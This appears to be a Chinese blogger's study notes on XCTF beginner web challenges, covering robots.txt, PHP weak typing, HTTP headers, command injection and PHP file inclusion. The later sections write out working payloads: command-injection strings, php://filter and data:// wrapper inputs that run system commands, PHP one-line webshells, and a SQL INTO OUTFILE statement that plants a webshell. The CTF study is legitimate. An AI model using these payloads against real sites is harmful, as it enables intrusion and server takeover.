攻防世界Web漏洞挖掘与利用

本文主要探讨了Web安全领域的各种漏洞,包括view_source的查看方法、robots协议的运用、PHP RCE漏洞、备份文件的安全隐患、Cookie的使用、弱认证问题、PHP代码审计等。同时,文章还介绍了各种Web漏洞的利用思路和防范措施,如GET/POST请求、Webshell与命令执行,以及PHP文件包含漏洞的利用与防御。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

此文章用作个人笔记,实时更新


view_source

view-source是一种协议,查看网页源码

思路

  • 方法一:右键查看网页源代码

  • 方法二:F12开发者工具

  • 方法三:view-source:url

小计

<!--  -->是html的注释标签,在页面看不到,查看源码可以看到

robots

Robots协议,就是告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取.

使用方法:url/robots.txt

比如github

https://github.com/robots.txt
# If you would like to crawl GitHub contact us via https://support.github.com?tags=dotcom-robots
# We also provide an extensive API: https://docs.github.com
User-agent: baidu
crawl-delay: 1


User-agent: *

Disallow: /*/pulse
Disallow: /*/tree/
Disallow: /gist/
Disallow: /*/forks
Disallow: /*/stars
Disallow: /*/download
Disallow: /*/revisions
Disallow: /*/issues/new
Disallow: /*/issues/search
Disallow: /*/commits/
Disallow: /*/commits/*?author
Disallow: /*/commits/*?path
Disallow: /*/branches
Disallow: /*/tags
Disallow: /*/contributors
Disallow: /*/comments
Disallow: /*/stargazers
Disallow: /*/archive/
Disallow: /*/blame/
Disallow: /*/watchers
Disallow: /*/network
Disallow: /*/graphs
Disallow: /*/raw/
Disallow: /*/compare/
Disallow: /*/cache/
Disallow: /.git/
Disallow: */.git/
Disallow: /*.git$
Disallow: /search/advanced
Disallow: /search
Disallow: */search
Disallow: /*q=
Disallow: /*.atom

Disallow: /ekansa/Open-Context-Data
Disallow: /ekansa/opencontext-*
Disallow: */tarball/
Disallow: */zipball/

Disallow: /*source=*
Disallow: /*ref_cta=*
Disallow: /*plan=*
Disallow: /*return_to=*
Disallow: /*ref_loc=*
Disallow: /*setup_organization=*
Disallow: /*source_repo=*
Disallow: /*ref_page=*
Disallow: /*source=*
Disallow: /*referrer=*
Disallow: /*report=*
Disallow: /*author=*
Disallow: /*since=*
Disallow: /*until=*
Disallow: /*commits?author=*
Disallow: /*report-abuse?report=*
Disallow: /*tab=*

Disallow: /account-login
Disallow: /Explodingstuff/

思路

robots.txt中可能泄露了敏感文件

php_rce

拓展

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架

思路

  • rce远程代码执行漏洞
  • 上github搜索相关内容

推荐阅读

backup

php的备份文件有两种:.php~和.php.bak

备份文件泄露信息

cookie

cookie是储存在客户端浏览器上,代表唯一用户在web应用的会话标识

存在http请求头中

disabled_button

html中disabled 属性规定应该禁用 input 元素。

被禁用的 input 元素既不可用,也不可点击

weak_auth

此题考查burp的intruper模块的使用

弱口令字典爆破

simple_php

查看代码

主要考察php弱类型

show_source(filename,return)     推荐阅读

show_source()函数是highlight_file()函数的别称

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息

show_source() 函数对文件进行语法高亮显示,filename(必须参数,要进行高亮处理的 PHP 文件的路径),

return 默认为false,当写true时候,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。

啥意思呢?

这是一段php代码,请忽略我lj的代码

<html>
<body>
<h1>这是h1标签</h1>
<?php
echo'你好  年轻人!</br>';
echo'//是单行注释</br>';
echo '/*这是多行注释*/</br>';
echo '如果只是将结果换行显示在浏览器或者屏幕上,使用</br>,如果只是源代码中换行,
windows使用\r\n,unix系统使用\n</br>';
//show_source('php1.php');
?>
</body>
</html>

在浏览器中查看

将//show_source('php1.php');注释符号'//'去掉

浏览器再次查看

 

 so?

var_dump()  输出变量的相关信息 

_FILE_  文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名

 ==     php中等于符号,只比较值,不比较类型 推荐文章

===   全等于,先比较类型,类型不同直接返回false;

类型相同,再比较值,值同,返回true,不同false

is_numeric() 函数用于检测变量是否为数字或数字字符串。

条件:变量满足$a==0为true,并且变量a不为0

            变量b大于1234,并且不是数字或数字字符串

?a=asd&b=1235a

get_post

get请求的参数url可见,服务器上获取数据

POST是向服务器传送数据

 Referer (页面跳转处)

Cache-Control(缓存机制)

get请求

GET /?a=1 HTTP/1.1  #请求方法,参数,http协议版本(现在大多是1.1)
Host: 111.200.241.244:61636 #对应网址URL中的Web名称和端口号,用于指定被请求资源的Internet主机和端口号,通常属于URL的一部分。默认是80端口,如果是8080端口的话,则为: www.baidu.com:8080

Cache-Control: max-age=0 #如果所有的中间服务器都实现以 HTTP/1.1为标准,那么直接使用 Cache-Control:no-cache 即可,如果不是的话,就要包含两个字段
分别是Cache-Control:no-cache  Pragme:no-cache

Referer:http://

Upgrade-Insecure-Requests: 1 #(升级为HTTPS请求)

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 #客户端浏览器名称

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 #接收的文件类型

Accept-Encoding: gzip, deflate #指出浏览器可以接受的编码方式

Accept-Language: zh-CN,zh;q=0.9 #浏览器可以接受的语言种类

Connection: close #表示客户端与服务连接类型,当传输的数据较小时,可以一次传输完成时,Connection的值为close,当传输的数据较大时,不能一次性传输完成时,则数据需要分块传输,即把 Connection 的值设置为 keep-alive

post请求

POST /?a=1 HTTP/1.1
Host: 111.200.241.244:61636
Content-Length: 3#表示请求或响应体的内容长度
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Origin: http://111.200.241.244:61636
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://111.200.241.244:61636/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
b=2



Content-Type - 内容类型,描述请求或响应体的内容的 MIME 格式,表示资源类型,如:
text/html 表示一份HTML文档,
text/css 表示一份 CSS 样式单
application/javascript 表示 javascript 脚本程序
video/mp4 表示 mp4 音视频
image/png 表示 png 图片

http协议 超文本传输协议 发布和接受html页面的方法

https超文本传输安全协议  在http下加入了ssl层

HTTP和HTTPS均是由TCP协议封装而来,在进行http协议和https协议时,需要进行 三次握手和四次挥手

SSL(Secure Sockets Layer 安全套接层)主要用于Web的安全传输协议,在传输层对网络连接进行加密,保障在Internet上数据传输的安全

xff_referer

其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。

xff格式

X-Forwarded-For: client, proxy1, proxy2

webshell

直接上工具,菜刀,蚁剑

command_execution

命令执行

|   windows中,只执行后面;linux中叫管道符,把前面命令的执行结果作为后一个命令的对象,详细点就是,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推

|| 逻辑或,windows.linux都一样,前面的错误才执行后面的

&& 逻辑与。前面正确才执行后面的

& windows中和&&一样,linux中,命令a&命令b 将命令a放在后台运行

127.0.0.1&&find / -name "*name"

127.0.0.1&&cat /home/flag.txt

simple_js

代码审计

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

就是 C/C++ 里普通的转义字符。

直接用cout 或者 printf 就能显示出来。

也可以查ASCII表,每个\x后面的两位 是一个十六进制数,在ASCII表中找到对应的,就可以查到相应的字符。

>>> a="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
>>> print(a)
55,56,54,79,115,69,114,116,107,49,50
>>>

源码构造了一个函数,但代码中对传入的参数并没有实质性用到,用的仍然是pass

 推荐阅读XCTF_Web_新手练习区:simple_js(源代码详解)_1stPeak's Blog-优快云博客

推荐阅读攻防世界 simple——js - ainv - 博客园

String.fromCharCode():实现 ascii码转字符

所以引用chr()函数

a = [55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50]
password = ''
for i in a:
    b = chr(i)
    password = password+b
print(password)



786OsErtk12

Process finished with exit code 0

baby_web

初始页面index.php做了重定向302,f12查看可以响应看到falg

Training-WWW-Robots

robots.txt

robots协议

php_rce

远程命令执行

熟悉thinkphp一些版本的漏洞,上github搜索

thinkphp,是基于php的一个mvc的框架 ,是php写的一个产品,一个框架,就是把一些重复的东西封装在一起

Web_php_include

文件包含

php str_replace()函数

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

<?php
echo str_replace("world","Peter","Hello world!");
?>

注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。

注释:该函数是二进制安全的

$ php变量符号

include()文件包含函数   PHP: include - Manual

global()关键字  作用:实现在函数内部访问全局变量PHP 变量 | 菜鸟教程

如果在一个函数中要访问一个全局变量,就需要使用global

<?php
$x=1;
$y=2;//这是一个全局变量
echo '$y';
echo "</br>";
echo "$y";
echo "</br>";
function test(){
    global $x;
    global $y;
    $y=$x+$y;
    echo "$y";
    }
test();
echo "</br>";
echo $y;
?>

strstr(str1,str2) 

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

<?php
show_source('strstr().php');
$ceshi=strstr('hello,LY,study php','LY');
echo "$ceshi";
echo "</br>";
echo "//这是php单行注释";
echo "</br>";
echo "strstr(str1,str2,false)默认是false";
echo "</br>";
$ceshi1=strstr('hello,LY,study php','LY',true);
echo "$ceshi1";
?>

浏览器如下

参考大佬文章  攻防世界 web进阶区 web_php_include - 昊辰的小站

【文件包含】文件包含漏洞知识总结_Monsterlz123的博客-优快云博客_文件包含

php://input    php伪协议

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码

一   因为str_replace()对大小写敏感

尝试使用大小写混合绕过   

 发现fl4gisisish3r3.php

cat 查看

<?php system("cat fl4gisisish3r3.php");?>

采用php://filter以base64编码的方式读取指定文件的内容:

http://111.200.241.244:57183/index.php?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

php://filter/read=convert.base64-encode/resource=[文件路径]

得到base64编码后的flag

data://伪协议

data:text/plain,<?php%20system("ls")?>        

?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=   64编码

base64编码后的+,要改成url编码  %2B

?page=data:text/plain,0x<%3Fphp%2520system(%2527ls%2527)%3F>   url编码

data://传木马

?page=data:text/plain,base64,%3C?php%20system(%27ls%27)?%3E写入到tmp目录,tmp目录linux默认可写目录

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

?page=data://text/plain/,base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

<?php fwrite(fopen('/tmp/LY.php','w'),'<?php @eval($_POST['LY']);?>');?>

数据库写木马   攻防世界 Web_php_include write up - Zhu013 - 博客园

御剑扫描获得phpmyadmin root 密码空 进入

数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

select  "<?php eval(@$_POST['LY']);?>"into outfile '/tmp/LY.php'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zero014

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值